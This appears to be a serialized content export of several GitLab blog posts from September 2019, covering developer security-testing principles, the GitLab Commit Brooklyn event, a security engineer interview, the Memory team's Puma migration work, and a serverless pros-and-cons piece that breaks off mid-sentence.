    \"headline\": \"5 Security testing principles every developer should know\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"},{\"@type\":\"Person\",\"name\":\"Seth Berger\"}],\n        \"datePublished\": \"2019-09-16\",\n      }",{"title":27350,"description":27351,"authors":27355,"heroImage":16177,"date":27356,"body":27357,"category":8943,"tags":27358},[22656,16461],"2019-09-16","\n## Principles of secure testing and how to do it\n\nSecurity testing is no longer under sole ownership of the security team. New\ntools have made it easy to bring testing into the DevOps model, where developers\ncan review and test code as they build out the app or software. However,\ndevelopers aren’t always on board with conducting security tests themselves:\nNearly half of security professionals surveyed in [GitLab’s 2019 Global\nDeveloper Report](/developer-survey/) (49%) said they\nstruggle to get developers to make remediation of vulnerabilities a priority.\nLike the developers and operations professionals, 50% of security teams\nsurveyed also believe testing is what most slows down development. AppDev leaders can improve their teams' security practices by building team buy-in and adopting tools that make it easy for developers to follow the five principles outlined below.\n\n## Security should be with you every step of the way\n\nWe’ve reached a day and age where security can’t be an afterthought or bolt-on\nactivity: Everyone is responsible for ensuring their work does not put the\ncustomer or business at risk. Security isn't just a box to check either, it’s a\nway of operating that should stay with you through development, deployment, and\nupdates. Developers can adopt security as their own by following these five\nprinciples:\n\n### 1. Evangelize your security efforts\n\nWhile developers are taking more responsibility for security, an overall\nquestion of ownership still remains. Everyone should be responsible for\nsecurity, but all too often that “everyone” comes to mean “no one”. Dev team\nleaders should advocate for security and the proper time to address it. Without\nthe proper advocacy, resources won't be allocated and security can become high-\nrisk technical debt. By shifting security left in the software development\nprocess, developers can allocate resources early on while they are still\nplentiful. Make it easy for your developers to adopt strong security practices\nby creating team-wide guidelines, educating developers on best practices and\ncommon challenges, and standardizing your expectations through both team and\nindividual security metrics.\n\n### 2. Test early, test often\n\nDevSecOps is an important next step in your DevOps initiatives. [Security teams\nare three times as likely to discover bugs before code is merged](/developer-survey/), so test as you\ncode and begin fixing vulnerabilities as early as possible. By incorporating tools\nthat help with dependency scanning, dynamic application security testing (DAST),\nand static application security testing (SAST), developers can get feedback as code is written and committed. These tools can give\ndevelopers information about the security of their code early in the development\nprocess, making it faster and cheaper to remediate compared to making fixes later on.\n[In a mature DevOps model, teams are 90% more likely to test between\n91% and 100% of all code than organizations with early-stage DevOps](/developer-survey/).\nTesting should continue throughout the DevOps lifecycle, so that developers are\nable to change code before it’s integrated into the broader codebase. Frequent testing will\nultimately take less time and fewer resources, speed time to deployment, and\nreduce friction between IT and security.\n\n### 3. Always verify your changes with a second set of eyes\n\nWriting and updating code should always be a joint effort. A second set of eyes\nwill spot potential issues that the author wasn’t able to see, and will reduce\nthe risk of deploying code that still has vulnerabilities. A [randomized buddy\nsystem](/blog/play-reviewer-roulette/) comes in handy here, to ensure that code reviews aren’t being handed to\nthe same person time after time, and allows different team members to\nlook at work that may be different from their own activities. Don't be afraid to\nuse tooling to help implement code reveiws and approvals. Configure your tooling\nto [require approvers within your merge request process](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/).\nCulture is an important element when it comes to code review: Your team of\ndevelopers must care about the integrity of the product or project as a whole,\nand not just the speed or quality of their own code development.\n\n### 4. Keep a master log of every code deployment, dependency, and update\n\nTransparency is key to ensuring quality code. Creating a complete history of your code\nwill be helpful in reviews and incident response, and allows the security team or\ndevelopers to identify exactly when and where a vulnerability occurred. Teams should\nalso minimize any manual build or deployment processes to ensure that their\napplications have full traceability and logging.\nWith a majority of application code being open source, dependencies have become a\nmajor attack surface. What’s more, bugs in open source code generally fly under\nthe radar (no pun intended), undetected by developers until it’s too late.\nUnderstanding, patching, and updating dependencies is critical, as catastrophic\nbreaches ([such as WannaCry](https://en.wikipedia.org/wiki/WannaCry_ransomware_attack))\ncan and have occurred due to a missed update or patch. Security scans using updated vulnerability databases should be run on a regular\nbasis to maintain app security – even on code that has previously been scanned.\n\n### 5. Diversify your security portfolio\n\nEmploy many different types of testing to cover your bases. A single type of\ntesting, like SAST, DAST, pre-release scanning, pen testing, or dependency\nscanning is helpful, but won’t provide a complete view of your application\nenvironment. [Forrester's annual application security report](https://www.forrester.com/report/The+State+Of+Application+Security+2019/-/E-RES145135)\nnotes that security teams are adjusting their practices to help developers respond to\nvulnerabilities at the speed of development. Some teams now conduct software\ncomposition analysis ahead of production, and have moved static application\nsecurity testing (SAST) to early development ([something your team can achieve\nwith GitLab](https://docs.gitlab.com/ee/user/application_security/sast/)).\nOthers are using bug bounty programs to crowdsource vulnerability discovery,\nwhich is particularly helpful for uncovering problems that don’t fall into known\nsecurity flaw patterns.\n\n## Work to achieve a DevSecOps model\n\nNearly 70% of developers are expected to write secure code, but only 25% of\ndevelopers believe they have “good” security practices. DevOps is a great place\nto start: It’s [clear from our data](/developer-survey/)\nthat a more mature DevOps model encourages innovation and collaboration, and\nenables teams to test more code faster. As more teams continue to shift their\nsecurity practices left, DevSecOps will become an advantageous reality for\ndevelopers and security professionals alike.\n\nCover photo by [Patrick Tomasso](https://unsplash.com/@impatrickt?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\non [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,674],{"slug":27360,"featured":6,"template":678},"security-testing-principles-developer","content:en-us:blog:security-testing-principles-developer.yml","Security Testing Principles Developer","en-us/blog/security-testing-principles-developer.yml","en-us/blog/security-testing-principles-developer",{"_path":27366,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27367,"content":27372,"config":27378,"_id":27380,"_type":16,"title":27381,"_source":17,"_file":27382,"_stem":27383,"_extension":20},"/en-us/blog/get-ready-for-commit",{"title":27368,"description":27369,"ogTitle":27368,"ogDescription":27369,"noIndex":6,"ogImage":27298,"ogUrl":27370,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27370,"schema":27371},"How to get the most out of GitLab Commit","We’re taking over the Williamsburg neighborhood of Brooklyn and opening up our world to you. Here’s everything you need to know.","https://about.gitlab.com/blog/get-ready-for-commit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to get the most out of GitLab Commit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2019-09-13\",\n      }",{"title":27368,"description":27369,"authors":27373,"heroImage":27298,"date":27375,"body":27376,"category":299,"tags":27377},[27374],"Emily Kyle","2019-09-13","\nWe’re (almost!) ready – are you? The inaugural GitLab Commit in Brooklyn is just around the corner.  We wanted to share some details on the event and how to get the most out of it while you’re onsite and after it’s over.\n\nWhen planning this event we made the strategic choice to avoid convention centers and stuffy hotel ballrooms. We like to be a bit more playful (and out of the box) in how we approach our community and events. We decided to model this event after a block party and on Tuesday September 17 we’ll be taking over 8 venues. On your walk from the subway you’ll notice the street has been “GitLabbed” and will be full of signs. Everything – signs, content, staff – will welcome you. If we did it right it will be quirky, fun, innovative, collaborative, and inclusive. A small block in Brooklyn will _be_ GitLab for a day. We can’t wait to share that vision with everyone attending.\n\nStart by checking in at the Williamsburg Hotel, 96 Wythe Ave, Brooklyn, NY 11249\n(between Nassau St. on the G or Bedford Ave. on the L). Don’t forget to grab breakfast treats and coffee.\nOver the course of the day we will also have sessions and activities in and around the following\nvenues: the  [Wythe Hotel](https://wythehotel.com), [Schimanski](https://www.schimanskinyc.com),\n[Brooklyn Bowl](https://www.brooklynbowl.com), [Kinfolk 90](https://kinfolklife.com/locations/kinfolk-90/) & [Kinfolk 94](https://kinfolklife.com/locations/kinfolk-94/). Each venue serves a specific function and has its own personality but each one flows seamlessly into the next one.\n\n![Map of GitLab Commit](https://about.gitlab.com/images/blogimages/gitlabcommitmap.png){: .shadow.small.center.wrap-text}\n\nIt’s a neighborhood takeover!\n{: .note.text-center}\n\n## Remember to schedule\n\nYou can find the schedule [here](https://gitlabcommit2019brooklyn.sched.com). To get the most out of your day on site, we suggest building out your schedule in the sched link just mentioned so you can reserve your slot in each of the tracks. There will be 3 tracks – cloud native, DevOps in action, and powered by GitLab – and each will be color coded to help you navigate throughout the day.\n\n## And it’s not over yet…\n\nWe will close out the day of sessions at the historic Brooklyn Bowl directly following the day’s packed lineup for networking, food & beverages and of course bowling. The party kicks off at 5 pm.\n\n## Other important details\n\nLooking for a well brewed cappuccino or latte?  Kinfolk 90 will be serving Commit attendees with a badge from 12pm-5pm at no charge, so drop in between sessions.\n\nHave questions about our product offerings, a nagging support item, want deeper insight into our security offerings, or time to visit with some of our sponsors?  The Library at the Williamsburg Hotel will be open all day for some one-to-one interaction.\n\nLastly we have a [few spots still open](https://about.gitlab.com/events/commit/) if you want to get in on this action packed day of learning! There is also still time to sign up for our [London event](/events/commit/#) in October.\n",[267,2704,277,4103,11037],{"slug":27379,"featured":6,"template":678},"get-ready-for-commit","content:en-us:blog:get-ready-for-commit.yml","Get Ready For Commit","en-us/blog/get-ready-for-commit.yml","en-us/blog/get-ready-for-commit",{"_path":27385,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27386,"content":27391,"config":27395,"_id":27397,"_type":16,"title":27398,"_source":17,"_file":27399,"_stem":27400,"_extension":20},"/en-us/blog/the-cloud-native-all-remote-security-challenge",{"title":27387,"description":27388,"ogTitle":27387,"ogDescription":27388,"noIndex":6,"ogImage":11521,"ogUrl":27389,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27389,"schema":27390},"The cloud-native, all-remote security challenge","What are the challenges and rewards of working in security at a cloud-native, all-remote company like GitLab?","https://about.gitlab.com/blog/the-cloud-native-all-remote-security-challenge","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The cloud-native, all-remote security challenge\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-09-13\",\n      }",{"title":27387,"description":27388,"authors":27392,"heroImage":11521,"date":27375,"body":27393,"category":18484,"tags":27394},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\nWe sat down with GitLab security engineer Jayson Salazar to talk about the challenges of working in security ops in a cloud-native, all-remote company like GitLab and the security myth he thinks should be debunked.\n\n---\n\n\n**Name:** Jayson Salazar\n\n**Title:** Security engineer, [Security Operations](/handbook/security/#security-operations)\n\n**How long have you been at GitLab?** I joined GitLab in January 2019\n\n**GitLab handle:** [@jdsalaro](https://gitlab.com/jdsalaro)\n{: #tanuki-orange}\n\n**Connect with Jayson:** [LinkedIn](https://www.linkedin.com/in/jdsalaro/) / [Twitter](https://twitter.com/jdsalaro)\n\n![GitLab security engineer Jayson Salazar](https://about.gitlab.com/images/blogimages/jayson_salazar.jpg){: .shadow.medium.center}\n\n#### Tell us what you do here at GitLab:\nI work as a security engineer on our Security Operations team. We work around the clock providing technical and procedural feedback, improving our security capabilities, interfacing amongst diverse stakeholders and responding to incidents to keep GitLab — the company, its employees and all its products — secure.\n\n#### What’s the most challenging or rewarding aspect of your role?\nI believe that one cannot understand that which cannot be easily defined and located and furthermore, that one cannot secure that which isn’t understood. In short, visibility is everything, at both small and large scales and, in my opinion, every security engineer ought to have a picture of the environment that they are trying to protect that is as accurate and detailed as possible. \n\nTherefore, upon joining GitLab, I immediately tried to build a full-fledged mental map that bundled together the technologies, systems, ancillary artifacts and people with knowledge of them that GitLab leverages in daily operations. What I thought would  be an easy, and rather uneventful task proved to be much harder to accomplish than expected as the days, weeks and months progressed. \n\nConsidering how diverse GitLab’s technological stack is and how many moving parts it has given that we’re all-remote, multi-cloud, SaaS, open-source and 800 employees strong; building such a mental scheme in one sitting was definitely overly ambitious. As time has progressed, however, I've come to terms with the idea that my understanding of GitLab as a whole; including technical aspects, as well as our values and culture, would continue to improve and cement itself and that it wasn’t a trivial task I could assign a deadline to or rush along. As of today, I’m very comfortable working with and reasoning through the different moving parts that make up GitLab, and getting to this point has been both very rewarding but also quite challenging. \n\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\nOn the engineering side of my role, I’m focusing on architecting and implementing tools that improve our detection capabilities as a whole by allowing us to ingest, aggregate and build analysis and alerting pipelines around diverse and very interesting data sources. I’ve always been in love with data, hoarding it, slicing it, visualizing it and drilling down into it.  By doing this we, the Security Operations team, create powerful tools that our teams rely on to spot, track and address security issues faster. \n\nOn the less glamorous front, I am quite passionate about (as everyone on our Security Operations team is) improving our processes, documentation and providing feedback on technical issues that I care deeply about. Therefore, you’ll often find me raising issues related to the security of our different products, or their components, as well as dealing with accrued technical debt, contributing to our [Handbook](https://about.gitlab.com/handbook/security/) or creating both technical and procedural documentation that other GitLab employees can rely on. \n\n#### How did you get into security? \nAs a teenager, The Matrix was my favorite movie. The idea that rules and systems all around us existed for us to circumvent them really fascinated me. I gravitated towards “coding” because I wanted to recreate the weird unintelligible green terminal output shown on the screens of the Nebuchadnezzar. While in high-school some brief VBA and Excel explorations led me to Flash and Python. Before I knew it, I was spending my weekends during my freshman year in University frustrated but engaged playing wargames such as [Over The Wire](https://overthewire.org/wargames)/ and [Smash the Stack](http://smashthestack.org/). It was during that time that I started seriously considering a career in information security. Although I went on to explore other areas both professionally and academically, such as software development and data analysis, which to this day I still quite enjoy, I was always drawn back to security.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend? \nQuestion yourself and your abilities, always within reason and, as long as you can deal with the emotional pressure. You can, and will be, wrong. When that happens, having countermeasures in place that you put there because you assumed your judgement could have been wrong is going to help you and your team greatly. \n\nAs with any industry, professionals working in cybersecurity can become rusty and comfortable with their day-to-day work. One incident comes after the other, every design decision becomes the same, using TLS, salt and hash, using a proper authentication and authorization scheme, buzzwords here buzzwords there, magical-security box from provider X or Y will save us, and on and on. All of the sudden, best practices become dogmas, rules of thumb turn into mental barriers, generous budgets devolve into excuses for lack of architectural work and the cybersecurity professional has, single-handedly, killed his ability to do meaningful, impactful, truly interesting and creative work. That’s a big one in my opinion. Another is being careful with burnout, practice self-care and don’t become cynical. You’re in cybersecurity because you care, you don’t need to be a rockstar to contribute, and yes, what you do matters.\n\n#### From the perspective of your role, what’s GitLab doing better than anyone else in terms of security?\nAs an organization, we’ve quickly realized that, for security issues originating in artifacts that can be tracked and managed as code, it’s best to start looking for security issues early in the development process, before they materialize and carry real consequences, and not wait until the whole thing has been shipped. \n\nGitLab’s [Secure Team](https://about.gitlab.com/handbook/engineering/development/sec/secure/) is working on creating and improving features that help teams mitigate security-related problems in their codebases before they occur and can be discovered via traditional means. In my opinion, this is a very interesting and powerful mindset-shift, we’re going from “number of bugs discovered” to “number of bugs prevented”.\n\n#### What do you look forward to the most in security in the next 5 years?\nTo be honest, I’m not very thrilled about our collective future when it comes to cybersecurity. I believe some people greatly underestimate the complexity we’re facing while trying to secure the systems we’re building nowadays and this will become even more apparent in the next few years. It’s as if many companies are attempting to re-build their figurative planes mid-flight and that has the potential to backfire badly and affect customers and us all as a society; as it already has often in the past few years. However, I’m becoming increasingly optimistic as we’re seeing companies build out or empower their security teams to become more involved in the design and implementation phases of their infrastructure and, if applicable, their deliverables.\n\n#### Is there an area of security research you think deserves more attention? Why?\nSecurity analytics, and everything related to security analytics. Securing the internet for everyone little by little requires situational awareness, one of the best ways to get that is via data, lots of data. Said data will have to be gathered, stored, analysed and the related insights need to be shared. Privacy concerns aside, of which there are plenty, I’d like to see governments and public institutions gathering data about the number of systems they’ve updated in the last year, month or day, their patch levels, stacks they rely on, vulnerabilities they have fixed and much more. Imagine being able to rate the cybersecurity posture of a country as BB+ or AAA and aligning a nation’s (and by proxy its economy’s) cybersecurity efforts with financial success? Granted, this is just a random shower-thought I’ve had for a while but I think more research into “large scale security analytics and governance” could be an interesting endeavor. \n\n#### What mainstream or industry propagated security myth would you like to be better understood?\nThat all companies should migrate to the “cloud”, or leverage IaaS or PaaS providers to operate, because having your crown jewels “up there” is intrinsically more secure. Of course, I’m not advocating for sticking to routines of the old days where spinning up servers meant having metal boxes on-premise. After all, I do work at GitLab and believe in the way we have adopted agility and in the many merits of DevOps. However, it’s crucial to acknowledge that the skills and mindsets required to properly secure traditional computing environments are, in many cases, radically different to those needed to operate secure cloud environments. Therefore, I think companies, especially small- and medium-sized companies without the budget to call-in experts once problems arise, should carefully plan the terms on which they want to migrate on-premise systems to the common IaaS providers or data centers with similar offerings. Ultimately, I’d like to see companies putting more emphasis in training their workforce properly before setting migration processes in motion that could potentially increase their existing technical and security debt.\n\n## Now, for the questions you *really* want to have answered:\n\n\n#### What’s your favorite season? \nWinter, hands-down. Cold weather, clear skies, the anticipation of Christmas season, snow, meeting friends for coffee and fireplaces, what’s there not to like?\n\n#### What is that one food, you cannot live without?\nKorean cuisine, especially Bulgogi. If the world ever ends, let it be with me eating Bulgogi as the sun sets.\n\n#### When you’re not working, what do you enjoy doing/how do you spend your free time?\nI quite enjoy discussing politics and social developments, listening to electronic music and watching and discussing deep, and not-so-deep, movies. Blade Runner, V for Vendetta, Matrix, Ghost in the Shell, The Girl with the Dragon Tattoo, and 50 First Dates are all favorites of mine. \n\nOn the creative side of things, I really enjoy writing poems. The way they touch people and how they interpret them in ways I could have never anticipated. It’s also a hobby that has become more and more enjoyable the more I share it with others, both in person and online.\n\n#### Have a favorite quote?\nI have many favorite quotes, but not really one I can call a core tenet of my personal philosophy or that drives inspiration. There is, however, a poem by William Ernst Henley that I often share, discuss with friends, think about, and always find myself reading again, and again: [Invictus](https://www.poetryfoundation.org/poems/51642/invictus).\n\n\nPhoto by [Akshay Nanavati](https://unsplash.com/@anphotos?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}",[7715,676,674,674],{"slug":27396,"featured":6,"template":678},"the-cloud-native-all-remote-security-challenge","content:en-us:blog:the-cloud-native-all-remote-security-challenge.yml","The Cloud Native All Remote Security Challenge","en-us/blog/the-cloud-native-all-remote-security-challenge.yml","en-us/blog/the-cloud-native-all-remote-security-challenge",{"_path":27402,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27403,"content":27409,"config":27413,"_id":27415,"_type":16,"title":27416,"_source":17,"_file":27417,"_stem":27418,"_extension":20},"/en-us/blog/why-we-created-the-gitlab-memory-team",{"title":27404,"description":27405,"ogTitle":27404,"ogDescription":27405,"noIndex":6,"ogImage":27406,"ogUrl":27407,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27407,"schema":27408},"Why we created a Memory team at GitLab","GitLab has a memory problem, so we created a specialized team to fix it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678549/Blog/Hero%20Images/memory_team_arie-wubben.jpg","https://about.gitlab.com/blog/why-we-created-the-gitlab-memory-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we created a Memory team at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-09-13\",\n      }",{"title":27404,"description":27405,"authors":27410,"heroImage":27406,"date":27375,"body":27411,"category":734,"tags":27412},[17272],"\nGitLab is an [all-in-one DevOps solution](/topics/devops/) with a growing feature set. But as more features are added to the application, more memory is required. Some users have reportedly elected to migrate to other tools because the memory footprint required to run a minimum GitLab instance was exorbitant:\n\n> “GitLab is great and I have used it for years but I recently switched to Gogs for self-hosted repositories because it is much faster, easier to set up, and walk in a park to maintain. It doesn't have all the features (bloat) that GitLab has but it can probably satisfy >95% of Git users.” – [Jnr on HackerNews](https://news.ycombinator.com/item?id=19227935)\n\n> “If GitLab grows any more features I'll be moving away simply to ensure confidence that I understand my own infrastructure in the limited time I have to maintain it. It's the weirdest kind of success problem to have, but the truth is if it wasn't such a pain to make the move, I'd have transitioned away from GitLab six months ago.” – [Sir_Substance on HackerNews](https://news.ycombinator.com/item?id=19230557)\n\n## Step 1: Establish priorities to solve our memory problem\n\nWe created the [GitLab Memory team](/handbook/engineering/development/enablement/data_stores/application_performance/) to tackle this performance challenge. The aim of the Memory team is to [reduce the minimum instance for GitLab from 8GB](https://gitlab.com/gitlab-org/gitlab-ce/commit/0cd5d968038d6d64d95add0bbe3d63d8fcfdc23b) to 1GB of RAM. By reducing the memory required to run GitLab to 1GB, [our application can run anywhere](https://gitlab.com/groups/gitlab-org/-/epics/448), even on inexpensive commodity computers like an unaltered [Raspberry Pi 3 Model B+](https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/).\n\nThere is no quick fix for reducing GitLab’s memory footprint, but the team has started by investigating memory and performance bottlenecks, gathering data, and prioritizing activities for the next three to four months based on these results.\n\n“We know we have memory issues to address, but we need more data to determine the source, the impact and how to best approach the problem,” says [Craig Gomes](/company/team/#craiggomes), memory engineering manager.\n\n[Kamil Trzciński](/company/team/#ayufanpl), distinguished engineer and memory specialist at GitLab, says the top three priorities for the Memory team fall into three distinct buckets:\n\n1. [Moving over to Puma](https://gitlab.com/groups/gitlab-org/-/epics/954)\n1. [Perform the low-level exercise by optimizing endpoints](https://gitlab.com/groups/gitlab-org/-/epics/448)\n1. [Improving our development practices](https://gitlab.com/groups/gitlab-org/-/epics/1415)\n\n### Migrating from Unicorn to Puma\n\nPreliminary research shows that the bulk of GitLab’s memory usage comes from running web application processes on Unicorn.\n\n“Each Web application process (Unicorn) can take 500 MB of RAM, and it can handle a single request at a time. The more users and traffic we need to support, the more processes and hence RAM we need,” says [Stan Hu](/company/team/#stanhu), engineering fellow at GitLab.\n\nOne of the first projects the Memory team is tackling is testing to see if migrating from Unicorn to Puma will reduce GitLab’s memory footprint. Both Unicorn and Puma are multi-threaded HTTP web servers that run on Rails, but unlike Unicorn, Puma is threaded and does not require as much memory.\n\nThe Memory team has successfully [configured Puma to work on dev.gitlab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/82) to test its functionality and measure its memory reduction. The next big project in this domain is to [enable Puma on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/954).\n\n### Dig deeper into what's causing memory issues for GitLab.com\n\nBefore GitLab is able to run on less memory, the team needs to fix the memory problems we know about already on GitLab.com. One of these problems is the memory killer on open source background processor, Sidekiq.\n\n\"If a Sidekiq job runs, takes too much memory, and then gets killed, jobs in the queue will be retried indefinitely,\" says Stan. The team is working to fix this, along with other priority one problems with memory usage in [project import](https://gitlab.com/gitlab-org/gitlab-ce/issues/59754) and [exports](https://gitlab.com/gitlab-org/gitlab-ce/issues/35389) in the 12.3 release.\n\n### Improve development practices around memory usage\n\nThe Memory team created a massive epic that aims to capture related [development work focusing on making improvements to internal dev practices around code complexity and memory usage](https://gitlab.com/groups/gitlab-org/-/epics/1415).\n\n\"The reason behind that is to enable everyone during development to understand the impact of introducing new changes to the application,\" says Kamil in the [epic](https://gitlab.com/groups/gitlab-org/-/epics/1415). Some of the projects they are working on for the 12.3 release include [testing more endpoints using typical GitLab user scenarios (e.g. commenting on a MR)](https://gitlab.com/gitlab-org/quality/performance/issues/34) and set up a [performance monitoring solution across different environments](https://gitlab.com/gitlab-org/quality/performance/issues/37).\n\n## Step 2: Create a team to fix the memory problem\n\nWe need a specialized engineering team to assess the scope of the problem and identify solutions to reduce GitLab’s memory requirements.\n\n“Right now we have a very small team with two brand new team members,” says Craig. “The team is getting up to speed quickly and there is a lot of excitement about the potential of the team that more work keeps coming our way. It's a great challenge to have, and having more experienced engineers on the team will help us to achieve our goals.”\n\nThe current memory team is small but mighty. We have [Craig](/company/team/#craiggomes), the engineering manager, and three engineers on the permanent memory team: [Kamil](/company/team/#ayufanpl), [Qingyu Zhao](/company/team/#qzhaogitlab), and [Aleksei Lipniagov](/company/team/#alipniagov). The team works closely with senior product manager for distribution and memory, [Larissa Lane](/company/team/#ljlane). [We’re looking for more qualified people to join our team](https://handbook.gitlab.com/job-families/engineering/backend-engineer/#memory).\n\nThe Memory team is actively hiring engineers to help us enhance GitLab’s performance, but we have a high rejection rate because we require a specific, hard-to-find skill set. A [top priority for the Memory team is hiring at least one senior engineer in FY20-Q3](https://gitlab.com/gitlab-com/www-gitlab-com/issues/4885), which will allow us to take on a bigger workload as we move toward our goal of getting GitLab running on less than 1GB.\n\nFollow along with the Memory team by [subscribing to their channel on GitLab Unfiltered](https://www.youtube.com/playlist?list=PL05JrBw4t0Kq_5ZWIHYfbcAYjtXYcEZA3).\n\nCover photo by [Arie Wubben](https://unsplash.com/@condorito1953?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/airplane?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,1268,6962],{"slug":27414,"featured":6,"template":678},"why-we-created-the-gitlab-memory-team","content:en-us:blog:why-we-created-the-gitlab-memory-team.yml","Why We Created The Gitlab Memory Team","en-us/blog/why-we-created-the-gitlab-memory-team.yml","en-us/blog/why-we-created-the-gitlab-memory-team",{"_path":27420,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27421,"content":27426,"config":27431,"_id":27433,"_type":16,"title":27434,"_source":17,"_file":27435,"_stem":27436,"_extension":20},"/en-us/blog/is-serverless-the-end-of-ops",{"title":27422,"description":27423,"ogTitle":27422,"ogDescription":27423,"noIndex":6,"ogImage":25207,"ogUrl":27424,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27424,"schema":27425},"Is serverless the end of ops?","What is Serverless architecture, what are the pros and cons of using it and where will it go in the future?","https://about.gitlab.com/blog/is-serverless-the-end-of-ops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Is serverless the end of ops?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-09-12\",\n      }",{"title":27422,"description":27423,"authors":27427,"heroImage":25207,"date":27428,"body":27429,"category":8943,"tags":27430},[18462],"2019-09-12","\nWe’re not playing tricks when we say [serverless](/topics/serverless/) isn’t actually serverless. It’s not that servers aren’t doing work, it’s just that _your_ servers aren’t necessarily having to do the work. In these exciting times of automation, not having to worry about servers seems pretty appealing.\n\n[Serverless architecture has an annual growth rate of over 700%](https://hackernoon.com/severe-truth-about-serverless-security-and-ways-to-mitigate-major-risks-cd3i3x6f) and shows no signs of slowing down. Its popularity is all due to the operational efficiency it promises. Instead of worrying about infrastructure, you can essentially outsource those responsibilities to your cloud provider. Once you specify the resources your code requires, the cloud provider provisions the servers and deploys. Even better, you only pay for what is used.\n\nThe dream of serverless computing is pretty simple: Developers deploy into infrastructures they don’t have to manage, set up, or maintain. Once they upload a simple cloud function it _just works_. Since organizations are only paying for what they use, this system is infinitely scalable, and because this is all managed by a cloud provider, they take over security as well.\n\nWith a serverless architecture carrying all of the ops load, what does that mean for sysadmins?\n\n## Serverless: The end of ops?\n\nServerless hype hasn’t been without skepticism. On the ops side of things, there has been some concern that serverless is trying to force ops out of the picture. A successful [DevOps team structure](/topics/devops/build-a-devops-team/) is all about dev and ops working together but, as we well know, there are some challenges to overcome. For one: dev and ops teams are incentivized by vastly different things. Development wants faster feature delivery, whereas operations wants stability and availability. These two goals contradict each other. With serverless bypassing ops altogether, it unintentionally reinforces the “ops as a barrier” trope.\n\nGetting to the point: No, serverless is not the end of ops as we know it. Ops looks after monitoring, security, networking, support, and the overall stability of a system. Serverless is just one way of managing systems, but it isn’t the only way. [The sysadmin is still happening – you’re just outsourcing it with serverless](https://martinfowler.com/articles/serverless.html), and that’s not necessarily a bad (or good) thing.\n\nEven with so many new technologies and methodologies out there – Kubernetes, serverless, containerization – the basics of computing remain the same. It’s only when we understand the fundamentals and commit to building reliable code that we can make the most of these new platforms.\n\n[In a recent interview with Google Staff Developer Advocate Kelsey Hightower](/blog/kubernetes-chat-with-kelsey-hightower/), one of the biggest challenges he mentions is the “all-or-nothing” approach. “Either I’m all serverless, or I’m all Kubernetes, or I’m all traditional infrastructure. That has never made sense in the history of computing.” Ultimately, you don’t have to choose: Pick the platforms that work best for the job. Monoliths are easy to build and run, and microservices and Kubernetes can help organizations scale faster. Serverless is just another tool that teams can use to keep innovating.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9OHNejqXOoo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nVideo directed and produced by [Aricka Flowers](/company/team/#arickaflowers)\n{: .note}\n\n## Serverless pros and cons\n\nAs with any architecture, there are going to be some benefits and some disadvantages. It’s important to weigh the pros and cons carefully against your organization’s needs.\n\n### Less operational overhead\n\nThis is frequently listed as one of the biggest advantages of serverless. Security patches, server upgrades, and other maintenance are already taken care of, which can free up resources for more important things.\n\n### Scalability\n\nYou just upload a code/function and your cloud provider handles the rest. [Serverless allows as many functions to be run (in parallel, if necessary) as needed to continually service all incoming requests](https://hackernoon.com/what-is-serverless-architecture-what-are-its-pros-and-cons-cc4b804022e9). Or you can have serverless run an entire application (with frontend, backend, etc.) and still reap the benefits. Because you’re not boxed into a certain pricing structure or number of minutes, serverless can be infinitely scalable (in theory).\n\n### Less operating costs\n\nYou’re only using what you need and all costs are purely based on usage. Finances are dynamic, which is more representative of how companies actually operate.\n\nOne example of this concept is comparing a rideshare service to the costs of owning a vehicle. With a car, there are costs you pay regardless of usage (insurance, registration, car payment), there are costs you pay depending on the usage (gas, maintenance), and then there are additional costs tied to unforeseen circumstances (accidents, that pothole again). With a rideshare, you’re just paying to go from point A to point B – all car costs we listed previously are being taken care of by someone else.\n\n### Less control\n\nOften cited as the biggest con, what you gain in reduced operational costs, complexity, and engineering lead time comes with [increased vendor dependencies](https://martinfowler.com/articles/serverless.html) and less oversight. There has to be a lot of trust in the cloud vendor since you’ll be unable to manage the server yourself. Not having control of your system means that if errors happen, you’re reliant on someone else to fix them. In business, no one cares more about your problems than you do.\n\n### Potential security risks\n\nWhile cloud vendors will manage security for you, and are generally well equipped for that task, it’s the architecture of 